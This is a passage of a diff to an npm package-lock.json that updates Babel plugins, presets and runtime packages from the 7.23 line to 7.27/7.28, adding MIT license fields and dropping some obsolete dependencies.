       },
       "engines": {
         "node": ">=6.9.0"
@@ -1604,12 +1659,29 @@
         "@babel/core": "^7.0.0-0"
       }
     },
-    "node_modules/@babel/plugin-transform-reserved-words": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.23.3.tgz",
-      "integrity": "sha512-QnNTazY54YqgGxwIexMZva9gqbPa15t/x9VS+0fsEFWplwVpXYZivtgl43Z1vMpc1bdPP2PP8siFeVcnFvA3Cg==",
+    "node_modules/@babel/plugin-transform-regexp-modifiers": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.27.1.tgz",
+      "integrity": "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-create-regexp-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-reserved-words": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.27.1.tgz",
+      "integrity": "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1619,15 +1691,16 @@
       }
     },
     "node_modules/@babel/plugin-transform-runtime": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.23.9.tgz",
-      "integrity": "sha512-A7clW3a0aSjm3ONU9o2HAILSegJCYlEZmOhmBRReVtIpY/Z/p7yIZ+wR41Z+UipwdGuqwtID/V/dOdZXjwi9gQ==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.28.0.tgz",
+      "integrity": "sha512-dGopk9nZrtCs2+nfIem25UuHyt5moSJamArzIoh9/vezUQPmYDOzjaHDCkAzuGJibCIkPup8rMT2+wYB6S73cA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-module-imports": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "babel-plugin-polyfill-corejs2": "^0.4.8",
-        "babel-plugin-polyfill-corejs3": "^0.9.0",
-        "babel-plugin-polyfill-regenerator": "^0.5.5",
+        "@babel/helper-module-imports": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "babel-plugin-polyfill-corejs2": "^0.4.14",
+        "babel-plugin-polyfill-corejs3": "^0.13.0",
+        "babel-plugin-polyfill-regenerator": "^0.6.5",
         "semver": "^6.3.1"
       },
       "engines": {
@@ -1638,11 +1711,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-shorthand-properties": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.23.3.tgz",
-      "integrity": "sha512-ED2fgqZLmexWiN+YNFX26fx4gh5qHDhn1O2gvEhreLW2iI63Sqm4llRLCXALKrCnbN4Jy0VcMQZl/SAzqug/jg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.27.1.tgz",
+      "integrity": "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1652,12 +1726,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-spread": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.23.3.tgz",
-      "integrity": "sha512-VvfVYlrlBVu+77xVTOAoxQ6mZbnIq5FM0aGBSFEcIh03qHf+zNqA4DC/3XMUozTg7bZV3e3mZQ0i13VB6v5yUg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.27.1.tgz",
+      "integrity": "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1667,11 +1742,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-sticky-regex": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.23.3.tgz",
-      "integrity": "sha512-HZOyN9g+rtvnOU3Yh7kSxXrKbzgrm5X4GncPY1QOquu7epga5MxKHVpYu2hvQnry/H+JjckSYRb93iNfsioAGg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.27.1.tgz",
+      "integrity": "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1681,11 +1757,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-template-literals": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.23.3.tgz",
-      "integrity": "sha512-Flok06AYNp7GV2oJPZZcP9vZdszev6vPBkHLwxwSpaIqx75wn6mUd3UFWsSsA0l8nXAKkyCmL/sR02m8RYGeHg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.27.1.tgz",
+      "integrity": "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1695,11 +1772,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-typeof-symbol": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.23.3.tgz",
-      "integrity": "sha512-4t15ViVnaFdrPC74be1gXBSMzXk3B4Us9lP7uLRQHTFpV5Dvt33pn+2MyyNxmN3VTTm3oTrZVMUmuw3oBnQ2oQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.27.1.tgz",
+      "integrity": "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1709,14 +1787,16 @@
       }
     },
     "node_modules/@babel/plugin-transform-typescript": {
-      "version": "7.23.6",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.23.6.tgz",
-      "integrity": "sha512-6cBG5mBvUu4VUD04OHKnYzbuHNP8huDsD3EDqqpIpsswTDoqHCjLoHb6+QgsV1WsT2nipRqCPgxD3LXnEO7XfA==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.28.0.tgz",
+      "integrity": "sha512-4AEiDEBPIZvLQaWlc9liCavE0xRM0dNca41WtBeM3jgFptfUOSG9z0uteLhq6+3rq+WB6jIvUwKDTpXEHPJ2Vg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.22.5",
-        "@babel/helper-create-class-features-plugin": "^7.23.6",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/plugin-syntax-typescript": "^7.23.3"
+        "@babel/helper-annotate-as-pure": "^7.27.3",
+        "@babel/helper-create-class-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1",
+        "@babel/plugin-syntax-typescript": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1726,11 +1806,12 @@
       }
     },
     "node_modules/@babel/plugin-transform-unicode-escapes": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.23.3.tgz",
-      "integrity": "sha512-OMCUx/bU6ChE3r4+ZdylEqAjaQgHAgipgW8nsCfu5pGqDcFytVd91AwRvUJSBZDz0exPGgnjoqhgRYLRjFZc9Q==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.27.1.tgz",
+      "integrity": "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1740,12 +1821,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-unicode-property-regex": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.23.3.tgz",
-      "integrity": "sha512-KcLIm+pDZkWZQAFJ9pdfmh89EwVfmNovFBcXko8szpBeF8z68kWIPeKlmSOkT9BXJxs2C0uk+5LxoxIv62MROA==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.27.1.tgz",
+      "integrity": "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-regexp-features-plugin": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-create-regexp-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1755,12 +1837,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-unicode-regex": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.23.3.tgz",
-      "integrity": "sha512-wMHpNA4x2cIA32b/ci3AfwNgheiva2W0WUKWTK7vBHBhDKfPsc5cFGNWm69WBqpwd86u1qwZ9PWevKqm1A3yAw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.27.1.tgz",
+      "integrity": "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-regexp-features-plugin": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-create-regexp-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1770,12 +1853,13 @@
       }
     },
     "node_modules/@babel/plugin-transform-unicode-sets-regex": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.23.3.tgz",
-      "integrity": "sha512-W7lliA/v9bNR83Qc3q1ip9CQMZ09CcHDbHfbLRDNuAhn1Mvkr1ZNF7hPmztMQvtTGVLJ9m8IZqWsTkXOml8dbw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.27.1.tgz",
+      "integrity": "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-create-regexp-features-plugin": "^7.22.15",
-        "@babel/helper-plugin-utils": "^7.22.5"
+        "@babel/helper-create-regexp-features-plugin": "^7.27.1",
+        "@babel/helper-plugin-utils": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1785,89 +1869,80 @@
       }
     },
     "node_modules/@babel/preset-env": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.23.9.tgz",
-      "integrity": "sha512-3kBGTNBBk9DQiPoXYS0g0BYlwTQYUTifqgKTjxUwEUkduRT2QOa0FPGBJ+NROQhGyYO5BuTJwGvBnqKDykac6A==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.28.0.tgz",
+      "integrity": "sha512-VmaxeGOwuDqzLl5JUkIRM1X2Qu2uKGxHEQWh+cvvbl7JuJRgKGJSfsEF/bUaxFhJl/XAyxBe7q7qSuTbKFuCyg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.23.5",
-        "@babel/helper-compilation-targets": "^7.23.6",
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-validator-option": "^7.23.5",
-        "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.23.3",
-        "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.23.3",
-        "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.23.7",
+        "@babel/compat-data": "^7.28.0",
+        "@babel/helper-compilation-targets": "^7.27.2",
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-validator-option": "^7.27.1",
+        "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.27.1",
+        "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1",
+        "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1",
+        "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1",
+        "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.27.1",
         "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2",
-        "@babel/plugin-syntax-async-generators": "^7.8.4",
-        "@babel/plugin-syntax-class-properties": "^7.12.13",
-        "@babel/plugin-syntax-class-static-block": "^7.14.5",
-        "@babel/plugin-syntax-dynamic-import": "^7.8.3",
-        "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
-        "@babel/plugin-syntax-import-assertions": "^7.23.3",
-        "@babel/plugin-syntax-import-attributes": "^7.23.3",
-        "@babel/plugin-syntax-import-meta": "^7.10.4",
-        "@babel/plugin-syntax-json-strings": "^7.8.3",
-        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
-        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
-        "@babel/plugin-syntax-numeric-separator": "^7.10.4",
-        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
-        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
-        "@babel/plugin-syntax-optional-chaining": "^7.8.3",
-        "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
-        "@babel/plugin-syntax-top-level-await": "^7.14.5",
+        "@babel/plugin-syntax-import-assertions": "^7.27.1",
+        "@babel/plugin-syntax-import-attributes": "^7.27.1",
         "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6",
-        "@babel/plugin-transform-arrow-functions": "^7.23.3",
-        "@babel/plugin-transform-async-generator-functions": "^7.23.9",
-        "@babel/plugin-transform-async-to-generator": "^7.23.3",
-        "@babel/plugin-transform-block-scoped-functions": "^7.23.3",
-        "@babel/plugin-transform-block-scoping": "^7.23.4",
-        "@babel/plugin-transform-class-properties": "^7.23.3",
-        "@babel/plugin-transform-class-static-block": "^7.23.4",
-        "@babel/plugin-transform-classes": "^7.23.8",
-        "@babel/plugin-transform-computed-properties": "^7.23.3",
-        "@babel/plugin-transform-destructuring": "^7.23.3",
-        "@babel/plugin-transform-dotall-regex": "^7.23.3",
-        "@babel/plugin-transform-duplicate-keys": "^7.23.3",
-        "@babel/plugin-transform-dynamic-import": "^7.23.4",
-        "@babel/plugin-transform-exponentiation-operator": "^7.23.3",
-        "@babel/plugin-transform-export-namespace-from": "^7.23.4",
-        "@babel/plugin-transform-for-of": "^7.23.6",
-        "@babel/plugin-transform-function-name": "^7.23.3",
-        "@babel/plugin-transform-json-strings": "^7.23.4",
-        "@babel/plugin-transform-literals": "^7.23.3",
-        "@babel/plugin-transform-logical-assignment-operators": "^7.23.4",
-        "@babel/plugin-transform-member-expression-literals": "^7.23.3",
-        "@babel/plugin-transform-modules-amd": "^7.23.3",
-        "@babel/plugin-transform-modules-commonjs": "^7.23.3",
-        "@babel/plugin-transform-modules-systemjs": "^7.23.9",
-        "@babel/plugin-transform-modules-umd": "^7.23.3",
-        "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5",
-        "@babel/plugin-transform-new-target": "^7.23.3",
-        "@babel/plugin-transform-nullish-coalescing-operator": "^7.23.4",
-        "@babel/plugin-transform-numeric-separator": "^7.23.4",
-        "@babel/plugin-transform-object-rest-spread": "^7.23.4",
-        "@babel/plugin-transform-object-super": "^7.23.3",
-        "@babel/plugin-transform-optional-catch-binding": "^7.23.4",
-        "@babel/plugin-transform-optional-chaining": "^7.23.4",
-        "@babel/plugin-transform-parameters": "^7.23.3",
-        "@babel/plugin-transform-private-methods": "^7.23.3",
-        "@babel/plugin-transform-private-property-in-object": "^7.23.4",
-        "@babel/plugin-transform-property-literals": "^7.23.3",
-        "@babel/plugin-transform-regenerator": "^7.23.3",
-        "@babel/plugin-transform-reserved-words": "^7.23.3",
-        "@babel/plugin-transform-shorthand-properties": "^7.23.3",
-        "@babel/plugin-transform-spread": "^7.23.3",
-        "@babel/plugin-transform-sticky-regex": "^7.23.3",
-        "@babel/plugin-transform-template-literals": "^7.23.3",
-        "@babel/plugin-transform-typeof-symbol": "^7.23.3",
-        "@babel/plugin-transform-unicode-escapes": "^7.23.3",
-        "@babel/plugin-transform-unicode-property-regex": "^7.23.3",
-        "@babel/plugin-transform-unicode-regex": "^7.23.3",
-        "@babel/plugin-transform-unicode-sets-regex": "^7.23.3",
+        "@babel/plugin-transform-arrow-functions": "^7.27.1",
+        "@babel/plugin-transform-async-generator-functions": "^7.28.0",
+        "@babel/plugin-transform-async-to-generator": "^7.27.1",
+        "@babel/plugin-transform-block-scoped-functions": "^7.27.1",
+        "@babel/plugin-transform-block-scoping": "^7.28.0",
+        "@babel/plugin-transform-class-properties": "^7.27.1",
+        "@babel/plugin-transform-class-static-block": "^7.27.1",
+        "@babel/plugin-transform-classes": "^7.28.0",
+        "@babel/plugin-transform-computed-properties": "^7.27.1",
+        "@babel/plugin-transform-destructuring": "^7.28.0",
+        "@babel/plugin-transform-dotall-regex": "^7.27.1",
+        "@babel/plugin-transform-duplicate-keys": "^7.27.1",
+        "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1",
+        "@babel/plugin-transform-dynamic-import": "^7.27.1",
+        "@babel/plugin-transform-explicit-resource-management": "^7.28.0",
+        "@babel/plugin-transform-exponentiation-operator": "^7.27.1",
+        "@babel/plugin-transform-export-namespace-from": "^7.27.1",
+        "@babel/plugin-transform-for-of": "^7.27.1",
+        "@babel/plugin-transform-function-name": "^7.27.1",
+        "@babel/plugin-transform-json-strings": "^7.27.1",
+        "@babel/plugin-transform-literals": "^7.27.1",
+        "@babel/plugin-transform-logical-assignment-operators": "^7.27.1",
+        "@babel/plugin-transform-member-expression-literals": "^7.27.1",
+        "@babel/plugin-transform-modules-amd": "^7.27.1",
+        "@babel/plugin-transform-modules-commonjs": "^7.27.1",
+        "@babel/plugin-transform-modules-systemjs": "^7.27.1",
+        "@babel/plugin-transform-modules-umd": "^7.27.1",
+        "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1",
+        "@babel/plugin-transform-new-target": "^7.27.1",
+        "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1",
+        "@babel/plugin-transform-numeric-separator": "^7.27.1",
+        "@babel/plugin-transform-object-rest-spread": "^7.28.0",
+        "@babel/plugin-transform-object-super": "^7.27.1",
+        "@babel/plugin-transform-optional-catch-binding": "^7.27.1",
+        "@babel/plugin-transform-optional-chaining": "^7.27.1",
+        "@babel/plugin-transform-parameters": "^7.27.7",
+        "@babel/plugin-transform-private-methods": "^7.27.1",
+        "@babel/plugin-transform-private-property-in-object": "^7.27.1",
+        "@babel/plugin-transform-property-literals": "^7.27.1",
+        "@babel/plugin-transform-regenerator": "^7.28.0",
+        "@babel/plugin-transform-regexp-modifiers": "^7.27.1",
+        "@babel/plugin-transform-reserved-words": "^7.27.1",
+        "@babel/plugin-transform-shorthand-properties": "^7.27.1",
+        "@babel/plugin-transform-spread": "^7.27.1",
+        "@babel/plugin-transform-sticky-regex": "^7.27.1",
+        "@babel/plugin-transform-template-literals": "^7.27.1",
+        "@babel/plugin-transform-typeof-symbol": "^7.27.1",
+        "@babel/plugin-transform-unicode-escapes": "^7.27.1",
+        "@babel/plugin-transform-unicode-property-regex": "^7.27.1",
+        "@babel/plugin-transform-unicode-regex": "^7.27.1",
+        "@babel/plugin-transform-unicode-sets-regex": "^7.27.1",
         "@babel/preset-modules": "0.1.6-no-external-plugins",
-        "babel-plugin-polyfill-corejs2": "^0.4.8",
-        "babel-plugin-polyfill-corejs3": "^0.9.0",
-        "babel-plugin-polyfill-regenerator": "^0.5.5",
-        "core-js-compat": "^3.31.0",
+        "babel-plugin-polyfill-corejs2": "^0.4.14",
+        "babel-plugin-polyfill-corejs3": "^0.13.0",
+        "babel-plugin-polyfill-regenerator": "^0.6.5",
+        "core-js-compat": "^3.43.0",
         "semver": "^6.3.1"
       },
       "engines": {
@@ -1881,6 +1956,7 @@
       "version": "7.21.0-placeholder-for-preset-env.2",
       "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz",
       "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       },
@@ -1892,6 +1968,7 @@
       "version": "0.1.6-no-external-plugins",
       "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz",
       "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.0.0",
         "@babel/types": "^7.4.4",
@@ -1902,16 +1979,17 @@
       }
     },
     "node_modules/@babel/preset-react": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.23.3.tgz",
-      "integrity": "sha512-tbkHOS9axH6Ysf2OUEqoSZ6T3Fa2SrNH6WTWSPBboxKzdxNc9qOICeLXkNG0ZEwbQ1HY8liwOce4aN/Ceyuq6w==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.27.1.tgz",
+      "integrity": "sha512-oJHWh2gLhU9dW9HHr42q0cI0/iHHXTLGe39qvpAZZzagHy0MzYLCnCVV0symeRvzmjHyVU7mw2K06E6u/JwbhA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-validator-option": "^7.22.15",
-        "@babel/plugin-transform-react-display-name": "^7.23.3",
-        "@babel/plugin-transform-react-jsx": "^7.22.15",
-        "@babel/plugin-transform-react-jsx-development": "^7.22.5",
-        "@babel/plugin-transform-react-pure-annotations": "^7.23.3"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-validator-option": "^7.27.1",
+        "@babel/plugin-transform-react-display-name": "^7.27.1",
+        "@babel/plugin-transform-react-jsx": "^7.27.1",
+        "@babel/plugin-transform-react-jsx-development": "^7.27.1",
+        "@babel/plugin-transform-react-pure-annotations": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1921,15 +1999,16 @@
       }
     },
     "node_modules/@babel/preset-typescript": {
-      "version": "7.23.3",
-      "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.23.3.tgz",
-      "integrity": "sha512-17oIGVlqz6CchO9RFYn5U6ZpWRZIngayYCtrPRSgANSwC2V1Jb+iP74nVxzzXJte8b8BYxrL1yY96xfhTBrNNQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.27.1.tgz",
+      "integrity": "sha512-l7WfQfX0WK4M0v2RudjuQK4u99BS6yLHYEmdtVPP7lKV013zr9DygFuWNlnbvQ9LR+LS0Egz/XAvGx5U9MX0fQ==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.22.5",
-        "@babel/helper-validator-option": "^7.22.15",
-        "@babel/plugin-syntax-jsx": "^7.23.3",
-        "@babel/plugin-transform-modules-commonjs": "^7.23.3",
-        "@babel/plugin-transform-typescript": "^7.23.3"
+        "@babel/helper-plugin-utils": "^7.27.1",
+        "@babel/helper-validator-option": "^7.27.1",
+        "@babel/plugin-syntax-jsx": "^7.27.1",
+        "@babel/plugin-transform-modules-commonjs": "^7.27.1",
+        "@babel/plugin-transform-typescript": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1938,76 +2017,68 @@
         "@babel/core": "^7.0.0-0"
       }
     },
-    "node_modules/@babel/regjsgen": {
-      "version": "0.8.0",
-      "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz",
-      "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA=="
-    },
     "node_modules/@babel/runtime": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.23.9.tgz",
-      "integrity": "sha512-0CX6F+BI2s9dkUqr08KFrAIZgNFj75rdBU/DjCyYLIaV/quFjkk6T+EJ2LkZHyZTbEV4L5p97mNkUsHl2wLFAw==",
-      "dependencies": {
-        "regenerator-runtime": "^0.14.0"
-      },
+      "version": "7.27.6",
+      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.27.6.tgz",
+      "integrity": "sha512-vbavdySgbTTrmFE+EsiqUTzlOr5bzlnJtUv9PynGCAKvfQqjIXbvFdumPM/GxMDfyuGMJaJAU6TO4zc1Jf1i8Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/runtime-corejs3": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.23.9.tgz",
-      "integrity": "sha512-oeOFTrYWdWXCvXGB5orvMTJ6gCZ9I6FBjR+M38iKNXCsPxr4xT0RTdg5uz1H7QP8pp74IzPtwritEr+JscqHXQ==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.28.0.tgz",
+      "integrity": "sha512-nlIXnSqLcBij8K8TtkxbBJgfzfvi75V1pAKSM7dUXejGw12vJAqez74jZrHTsJ3Z+Aczc5Q/6JgNjKRMsVU44g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "core-js-pure": "^3.30.2",
-        "regenerator-runtime": "^0.14.0"
+        "core-js-pure": "^3.43.0"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/template": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.23.9.tgz",
